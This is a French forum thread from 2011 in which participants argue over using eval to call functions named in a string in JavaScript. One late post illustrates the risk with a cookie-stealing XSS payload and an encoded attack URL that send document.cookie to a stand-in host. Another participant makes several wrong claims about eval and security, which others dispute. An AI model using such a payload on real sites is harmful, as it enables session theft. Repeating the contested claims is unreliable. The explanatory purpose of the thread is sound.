Twitter iPhone pliant OnePlus 11 PS5 Disney+ Orange Livebox Windows 11

appel de fonction paramétrable ?

38 réponses
Avatar
unbewusst.sein
j'ai une string search|save|edit|view et je voudrais qu'elle appelle les
fonctions relatives, par exemple :
do_search(params) | do_save(params) | do_edit(params) | do_view(params)

comment kon fait ?

--
« Qui prête à rire, n'est pas sûr d'être remboursé. »
(Raymond Devos)

10 réponses

1 2 3 4
Avatar
Paul Gaborit
À (at) Fri, 22 Jul 2011 10:17:17 +0200,
mb écrivait (wrote):

In article ,
Paul Gaborit wrote:

Le simple fait que vous ne voyez pas la différence entre la solution à
base de 'eval' et celles basées sur un switch ou une recherche dans un
tableau associatif montre que la solution à base de 'eval' est
dangereuse... puisque vous ne mesurez pas correctement les risques de
son utilisation.



donc il faut être certain de tout savoir avant de se lancer à écrire
quelque chose ?

la seule différence entre la version switch et la version eval
c'est l'existence de la fonction
mais je ne demande pas mieux que d'apprendre , les forum ne sont-ils
pas fait pour ça ?

donc expliquez moi où est le danger en javascript ( hors php )



Le risque général lié à 'eval' (dans tous les langages) est de rompre la
frontière entre code et donnée (un 'eval' transforme une donnée en du
code exécutable). Il ne suffit pas de savoir qu'à un moment donnée la
donnée passée à 'eval' est inoffensive pour se dédouaner, il faut
pouvoir prouver que c'est bien le cas quelles que soient les données
reçues et même lorsqu'on fera évoluer le code.

le cross-site scripting n'utilise pas que du javascript
il renvoie des donnés de forme à des script php



???

Pourquoi toujours tout ramener vers PHP ? Les risques que j'évoque n'ont
pas de lien avec le côté serveur (qu'il soit écrit en PHP, en Basic ou
en même en Cobol importe peu).

--
Paul Gaborit - <http://perso.mines-albi.fr/~gaborit/>
Avatar
mb
In article ,
Paul Gaborit wrote:

Le risque général lié à 'eval' (dans tous les langages) est de rompre la
frontière entre code et donnée (un 'eval' transforme une donnée en du
code exécutable). Il ne suffit pas de savoir qu'à un moment donnée la
donnée passée à 'eval' est inoffensive pour se dédouaner, il faut
pouvoir prouver que c'est bien le cas quelles que soient les données
reçues et même lorsqu'on fera évoluer le code.



toutes les fonctions d'un langage , pas seulement eval ,
font appel à du code machine que ce soit par compilation
ou par interprétation et traites des données en mémoire vive
avec même parfois du code auto-transformable ( déconseillé )
on va se passer de tout pour éviter les problèmes de sécurité ?

eval transforme une donnée en code
javascript est compilé ?

Pourquoi toujours tout ramener vers PHP ? Les risques que j'évoque n'ont
pas de lien avec le côté serveur (qu'il soit écrit en PHP, en Basic ou
en même en Cobol importe peu).



tous les risques dont on me parle font référence à un traitement sur le
serveur , le fait de dire php n'est qu'un raccourci facile

bonne journée

--
mb
Avatar
Paul Gaborit
À (at) Sat, 23 Jul 2011 06:18:30 +0200,
mb écrivait (wrote):

In article ,
Paul Gaborit wrote:

Le risque général lié à 'eval' (dans tous les langages) est de rompre la
frontière entre code et donnée (un 'eval' transforme une donnée en du
code exécutable). Il ne suffit pas de savoir qu'à un moment donnée la
donnée passée à 'eval' est inoffensive pour se dédouaner, il faut
pouvoir prouver que c'est bien le cas quelles que soient les données
reçues et même lorsqu'on fera évoluer le code.



toutes les fonctions d'un langage , pas seulement eval ,
font appel à du code machine que ce soit par compilation
ou par interprétation et traites des données en mémoire vive
avec même parfois du code auto-transformable ( déconseillé )
on va se passer de tout pour éviter les problèmes de sécurité ?



Ai-je dit qu'on devait se passer "de tout" ?

Je dis juste que les bonnes pratiques de codage déconseille l'usage de
'eval' (ou des fonctions équivalentes) lorsqu'on peut s'en passer (entre
autre pour des raisons de sécurité). Les trous de sécurité apparus avec
les premières implémentations naïves de JSON en témoignent:

<http://en.wikipedia.org/wiki/JSON#JavaScript_eval.28.29>

eval transforme une donnée en code
javascript est compilé ?



Encore une fois, quel rapport ?

Pourquoi toujours tout ramener vers PHP ? Les risques que j'évoque n'ont
pas de lien avec le côté serveur (qu'il soit écrit en PHP, en Basic ou
en même en Cobol importe peu).



tous les risques dont on me parle font référence à un traitement sur le
serveur , le fait de dire php n'est qu'un raccourci facile



non : tous les risques ne reposent pas sur des défauts côté serveur...
L'URL donné plus haut décrit des risques indépendants du serveur.

--
Paul Gaborit - <http://perso.mines-albi.fr/~gaborit/>
Avatar
mb
In article ,
Paul Gaborit wrote:

À (at) Sat, 23 Jul 2011 06:18:30 +0200,
mb écrivait (wrote):

> on va se passer de tout pour éviter les problèmes de sécurité ?

Ai-je dit qu'on devait se passer "de tout" ?



non vous ne l'avez pas dit mais ,

mais quand vous écrivez ( ne chipotez pas sur la syntaxe svp )

<script>
texte
</script>

que croyez vous que fait l'interprète javascript ?
tout simplement un eval("texte")

quand vous écrivez

<script url="adresse"></script>

que croyez vous que fait l'interprète javascript ?
il charge le texte du fichier adresse et fait un eval(texte)

que croyez vous que fait l'interprète javascript sur un
onClick="texte"; ?
eval(texte)

Javascript n'est rien d'autre chose que sa propre fonction eval

> eval transforme une donnée en code
> javascript est compilé ?

Encore une fois, quel rapport ?


je ne fais que reprendre votre affirmation
et elle est fausse , javascript est interprété et donc ne change pas le
texte en code , il interprète le texte ( un peu comme la version switch
dont on parlait )

il y a un compilateur js mais ça m'étonnerait qu'il soit natif sur les
navigateurs , et comme tout compilateur il génère du code machine ,
mieux vaut se méfier !

non : tous les risques ne reposent pas sur des défauts côté serveur...
L'URL donné plus haut décrit des risques indépendants du serveur.

<http://en.wikipedia.org/wiki/JSON#JavaScript_eval.28.29>



je résume : javascript interprète du texte et il faut donc faire
attention à son encodage

le risque d'erreur dont parle ce site concerne la confusion entre des
écritures de chaînes dans divers encodages
les erreurs générées sont des erreurs Javascript et n'ont rien à voir
avec la sécurité

bonne journée

--
mb
Avatar
mb
In article ,
Paul Gaborit wrote:

À (at) Sat, 23 Jul 2011 06:18:30 +0200,
mb écrivait (wrote):

> on va se passer de tout pour éviter les problèmes de sécurité ?

Ai-je dit qu'on devait se passer "de tout" ?



non vous ne l'avez pas dit mais ,

mais quand vous écrivez ( ne chipotez pas sur la syntaxe svp )

<script>
texte
</script>

que croyez vous que fait l'interprète javascript ?
tout simplement un eval("texte")

quand vous écrivez

<script url="adresse"></script>

que croyez vous que fait l'interprète javascript ?
il charge le texte du fichier adresse et fait un eval(texte)

que croyez vous que fait l'interprète javascript sur un
onClick="texte"; ?
eval(texte)

Javascript n'est rien d'autre que sa propre fonction eval

> eval transforme une donnée en code
> javascript est compilé ?

Encore une fois, quel rapport ?


je ne fais que reprendre votre affirmation
et elle est fausse , javascript est interprété et donc ne change pas le
texte en code , il interprète le texte ( un peu comme la version switch
dont on parlait )

il y a un compilateur js mais ça m'étonnerait qu'il soit natif sur les
navigateurs , et comme tout compilateur il génère du code machine ,
mieux vaut se méfier !

non : tous les risques ne reposent pas sur des défauts côté serveur...
L'URL donné plus haut décrit des risques indépendants du serveur.

<http://en.wikipedia.org/wiki/JSON#JavaScript_eval.28.29>



je résume : javascript interprète du texte et il faut donc faire
attention à son encodage

le risque d'erreur dont parle ce site concerne la confusion entre des
écritures de chaînes dans divers encodages
les erreurs générées sont des erreurs Javascript et n'ont rien à voir
avec la sécurité

bonne journée

--
mb
Avatar
Paul Gaborit
À (at) Sun, 24 Jul 2011 00:05:02 +0200,
mb écrivait (wrote):

mais quand vous écrivez ( ne chipotez pas sur la syntaxe svp )

<script>
texte
</script>

que croyez vous que fait l'interprète javascript ?
tout simplement un eval("texte")

quand vous écrivez

<script url="adresse"></script>

que croyez vous que fait l'interprète javascript ?
il charge le texte du fichier adresse et fait un eval(texte)

que croyez vous que fait l'interprète javascript sur un
onClick="texte"; ?
eval(texte)

Javascript n'est rien d'autre que sa propre fonction eval



Et alors ?

> javascript est compilé ?



Encore une fois, quel rapport ?


je ne fais que reprendre votre affirmation
et elle est fausse , javascript est interprété et donc ne change pas le
texte en code , il interprète le texte ( un peu comme la version switch
dont on parlait )



Les fonctions de type 'eval' n'existent que dans les langages
interprétés (Ex: PHP, Perl, Python, Javascript, Lisp, etc.). Au passage,
la plupart ne sont plus depuis longtemps interprétés mais plutôt
semi-compilés (voire même compilés au vol).

Et pourtant toutes les règles de bonnes pratiques de programmation
déconseille l'usage de ces fonctions 'eval'. Cette règle n'a donc rien à
voir avec la nature interprété du langage. Alors pourquoi cette règle ?
Tout simplement pour conserver une frontière claire entre donnée et code
(l'ai-je déjà dit dans une autre réponse ?).

non : tous les risques ne reposent pas sur des défauts côté serveur...
L'URL donné plus haut décrit des risques indépendants du serveur.



<http://en.wikipedia.org/wiki/JSON#JavaScript_eval.28.29>



je résume : javascript interprète du texte et il faut donc faire
attention à son encodage

le risque d'erreur dont parle ce site concerne la confusion entre des
écritures de chaînes dans divers encodages
les erreurs générées sont des erreurs Javascript et n'ont rien à voir
avec la sécurité



Je me demande vraiment si savez lire... Je cite l'article : « Unless
precautions are taken to validate the data first, the eval technique is
subject to security vulnerabilities if the data and the entire
JavaScript environment is not within the control of a single trusted
source. »

Vous avez une manière très particulière de lire les réponses que je vous
ai déjà faites et de résumer l'article que je vous citais. En gros, vous
ne retenez que ce qui semble aller dans le sens de ce que vous croyez et
vous oubliez tout le reste.

Libre à vous de conserver vos croyances mais je ne vous ferai jamais
confiance pour concevoir un système sûr et fiable.

Comme on dit : on ne saurait faire boire un âne qui n'a pas soif.

--
Paul Gaborit - <http://perso.mines-albi.fr/~gaborit/>
Avatar
mb
In article ,
Paul Gaborit wrote:

> Javascript n'est rien d'autre que sa propre fonction eval

Et alors ?



vous êtes d'accord avec ça ?

alors vous faites sans arrêts des appels implicites à eval
sans même en avoir conscience

n'est-ce pas plus grave que l'appeler explicitement ?


Les fonctions de type 'eval' n'existent que dans les langages
interprétés (Ex: PHP, Perl, Python, Javascript, Lisp, etc.).



javascript est interprété , on est bien d'accord ?

la plupart ne sont plus depuis longtemps interprétés mais plutôt
semi-compilés (voire même compilés au vol).



le fait qu'il y ait une compilation au vol
pour laquelle la donnée obtenue par compilation prend le statu de code
devrait vous inquiéter , la frontière code-donnée devient floue

Et pourtant toutes les règles de bonnes pratiques de programmation
déconseille l'usage de ces fonctions 'eval'. Cette règle n'a donc rien à
voir avec la nature interprété du langage. Alors pourquoi cette règle ?
Tout simplement pour conserver une frontière claire entre donnée et code
(l'ai-je déjà dit dans une autre réponse ?).



réponse ci-dessus

Je me demande vraiment si savez lire... Je cite l'article : « Unless
precautions are taken to validate the data first, the eval technique is
subject to security vulnerabilities if the data and the entire
JavaScript environment is not within the control of a single trusted
source. »

Vous avez une manière très particulière de lire les réponses que je vous
ai déjà faites et de résumer l'article que je vous citais. En gros, vous
ne retenez que ce qui semble aller dans le sens de ce que vous croyez et
vous oubliez tout le reste.



euh ... mdr
ça à bien l'air d'être de le cas de beaucoup !

Comme on dit : on ne saurait faire boire un âne qui n'a pas soif.



je connais mal le sujet "âne" , mais j'y travaille

bonne journée

--
mb
Avatar
mb
In article ,
Paul Gaborit wrote:

> Javascript n'est rien d'autre que sa propre fonction eval

Et alors ?



vous êtes d'accord avec ça ?

alors vous faites sans arrêts des appels implicites à eval
sans même en avoir conscience

n'est-ce pas plus grave que l'appeler explicitement ?


Les fonctions de type 'eval' n'existent que dans les langages
interprétés (Ex: PHP, Perl, Python, Javascript, Lisp, etc.).



javascript est interprété , on est bien d'accord ?

la plupart ne sont plus depuis longtemps interprétés mais plutôt
semi-compilés (voire même compilés au vol).



le fait qu'il y ait une compilation au vol
pour laquelle la donnée obtenue par compilation prend le statu de code
devrait vous inquiéter , la frontière code-donnée devient floue

Et pourtant toutes les règles de bonnes pratiques de programmation
déconseille l'usage de ces fonctions 'eval'. Cette règle n'a donc rien à
voir avec la nature interprété du langage. Alors pourquoi cette règle ?
Tout simplement pour conserver une frontière claire entre donnée et code
(l'ai-je déjà dit dans une autre réponse ?).



réponse ci-dessus

Je me demande vraiment si savez lire... Je cite l'article : « Unless
precautions are taken to validate the data first, the eval technique is
subject to security vulnerabilities if the data and the entire
JavaScript environment is not within the control of a single trusted
source. »

Vous avez une manière très particulière de lire les réponses que je vous
ai déjà faites et de résumer l'article que je vous citais. En gros, vous
ne retenez que ce qui semble aller dans le sens de ce que vous croyez et
vous oubliez tout le reste.



euh ... mdr
ça à bien l'air d'être le cas de beaucoup !

Comme on dit : on ne saurait faire boire un âne qui n'a pas soif.



je connais mal le sujet "âne" , mais j'y travaille

bonne journée

--
mb
Avatar
Mickaël Wolff
On 07/22/11 10:17, mb wrote:
donc il faut être certain de tout savoir avant de se lancer à écrire
quelque chose ?



Non, mais raconter n'importe quoi et le soutenir est plus gênant. Le
développement Web cest compliqué, demande beaucoup d'expertise et
surtout de prudence. Si tu crois le contraire, abandonne de suite.

la seule différence entre la version switch et la version eval
c'est l'existence de la fonction



Oh non. Les performances vont être impactées, puisqu'il est
impossible pour un moteur JS de précompiler et de conserver le bytecode
pour usage ultérieur.

le cross-site scripting n'utilise pas que du javascript
il renvoie des donnés de forme à des script php



Hahaha. Ce n'est pas toujours facile, mais si tu introduis la chaîne
suivante dans la variable nom :

'view() ; window.location='http://example.com/pot?=' + document.cookie ;'

Où example.com est un serveur que tu contrôle, ben tu peux faire du
vol de session. Enjoy. Et c'est du XSS, puisque tu as volé des données,
d'un domaine vers un autre.

Tu me diras que nom est toujours issu d'une chaîne contrôlé. Sauf que
le développement d'un site ne se fait pas en une seule fois. Tu vas
certainement mettre le code dans une fonction, puis l'utiliser. Au fur
et à mesure, tu vas peut-être avoir une idée géniale pour une nouvelle
fonctionalité (ou ton successeur). Là tu vas réutiliser la fonction, en
la nourrisant avec le contenu du hashtag :

Ce que tu pense faire :
http://target.example.com/peoples#view
Ce que le pirate va utiliser comme URL pour piéger l'utilisateur :

http://thief.example.com/peoples#view%28%29+%3B+window.location%3D%27http%3A%2F%2Fexample.com%2Fpot%3F%3D%27+%2B+document.cookie+%3B

Dans ton javascript, tu auras écris :
var nom = window.location.hash
do(nom, ["banane"]) // http://www.youtube.com/watch?v¡Y73sPHKxw
Avatar
Mickaël Wolff
On 07/24/11 00:05, mb wrote:
mais quand vous écrivez ( ne chipotez pas sur la syntaxe svp )

<script>
texte
</script>

que croyez vous que fait l'interprète javascript ?
tout simplement un eval("texte")


Ben nom.

que croyez vous que fait l'interprète javascript ?
il charge le texte du fichier adresse et fait un eval(texte)


Ben non (bis).

que croyez vous que fait l'interprète javascript sur un
onClick="texte"; ?
eval(texte)


Ben nom (ter)

je ne fais que reprendre votre affirmation
et elle est fausse , javascript est interprété et donc ne change pas le
texte en code , il interprète le texte ( un peu comme la version switch
dont on parlait )


Cest là que tu as tout faux. Les moteurs JS *compilent* le Javascript
en bytecode, et le mettent en cache.

il y a un compilateur js mais ça m'étonnerait qu'il soit natif sur les
navigateurs , et comme tout compilateur il génère du code machine ,
mieux vaut se méfier !


Tout les compilateurs ne génèrent pas du code machine. Je pense aux
compilateurs de Java, de C#, etc.

je résume : javascript interprète du texte et il faut donc faire
attention à son encodage

le risque d'erreur dont parle ce site concerne la confusion entre des
écritures de chaînes dans divers encodages
les erreurs générées sont des erreurs Javascript et n'ont rien à voir
avec la sécurité



Tiens, ça me rappelle un guignol qui soutenait que les buffer
overflow ne sont pas liés à des problème de sécurité puisque ce sont des
erreurs de programmation.

Les erreurs de programmations mènent systématiquement à des problèmes
de sécurité.
1 2 3 4